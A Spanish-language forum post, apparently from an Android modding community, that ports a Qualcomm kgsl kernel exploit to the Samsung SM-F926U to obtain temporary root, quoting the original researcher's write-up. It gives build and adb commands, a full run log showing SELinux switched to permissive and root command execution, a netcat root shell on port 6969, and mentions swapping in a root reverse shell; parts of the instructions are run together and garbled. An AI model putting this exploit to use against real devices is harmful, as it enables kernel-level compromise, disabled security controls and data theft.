
Mi adaptación para el SM-F926U del exploit original aquí
Muchísimas gracias a m-y-mo por descubrir el exploit y su extrema paciencia con todas mis preguntas para portar esto al SM-F926U y hacerlo utilizable
He añadido un daemon de inicio (libtimeline.so) basado en código de Shizuku
Añadí un truco sucio para permitir que la solución de root temporal sea estable (ver más abajo)
Aviso legal: No soy responsable de dispositivos destruidos, datos perdidos, datos robados, seguridad del dispositivo
Aviso legal 2: No soy desarrollador, más bien un manitas profesional. Puedo intentar ayudarte si tienes problemas, puede que nunca vuelva a mirar este hilo, continúa bajo tu propio riesgo
Requisitos:
Instrucciones:
/data/local/tmp/timeline directamente, ya que puedes ver si el exploit se está ejecutando o se ha colgado (ver advertencias más abajo)/data/local/tmp/libtimeline.sonetcat 127.0.0.1 6969 en una sesión adbid y te mostrará tus credenciales rootMás advertencias:
top que timeline se ejecuta con aproximadamente un 100% de uso de CPU. No estoy seguro de si esto es real o no. En realidad solo está en un estado while(1) para evitar que se cierre y bloquee el dispositivo, así que no he encontrado qué está causando el alto uso de CPU ni si es un falso positivoEl artículo se puede encontrar aquí. Este es un error en el driver kgsl de Qualcomm que reporté en noviembre de 2021. El error se puede usar para obtener lectura y escritura arbitrarias de la memoria del kernel desde el dominio de aplicaciones no confiables, que luego se usa para deshabilitar SELinux y obtener root.
El exploit está probado en el Samsung Galaxy Z Flip 3 (versión europea SM-F711B) con versión de firmware F711BXXS2BUL6, banda base F711BXXU2BUL4 y versión de kernel 5.4.86-qgki-23063627-abF711BXXS2BUL6 (región EUX). Los offsets del exploit se refieren a esa versión del firmware. Además de los offsets habituales en la imagen del kernel, varias direcciones de los pools de memoria ion en ion_utils.c también son específicas del firmware. Como referencia, usé el siguiente comando para compilar con clang en ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
El exploit es razonablemente fiable (~70% en el dispositivo probado), aunque necesita esperar unos minutos después del arranque antes de ejecutarse, ya que hay demasiadas llamadas binder rotas/fallidas durante los primeros minutos de arranque. (No estoy completamente seguro de si es un problema de Qualcomm o de Samsung)
Para probarlo, compila de forma cruzada el archivo y luego ejecútalo con adb:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
Si tiene éxito, deshabilitará SELinux y ejecutará el comando id como root y escribirá los resultados en el archivo /data/local/tmp/id.txt:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
Hay una pausa larga después de que se imprime wait complete -1, que debería ser de menos de un minuto; esto es normal. A veces también puede tardar un rato en poner el trabajo en cola (después de que se imprime queuing work, waiting to aquire spin lock, pueden ser un par de minutos, solo hay que tener paciencia, aunque no es habitual). El exploit normalmente se completa en un par de minutos.
El archivo /data/local/tmp/id.txt debería confirmar que el comando se ejecutó como root:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
Se puede ejecutar un comando diferente cambiando la variable cmd en setup_sub_info en work_queue_utils.c. (Por ejemplo, para lanzar una reverse shell root).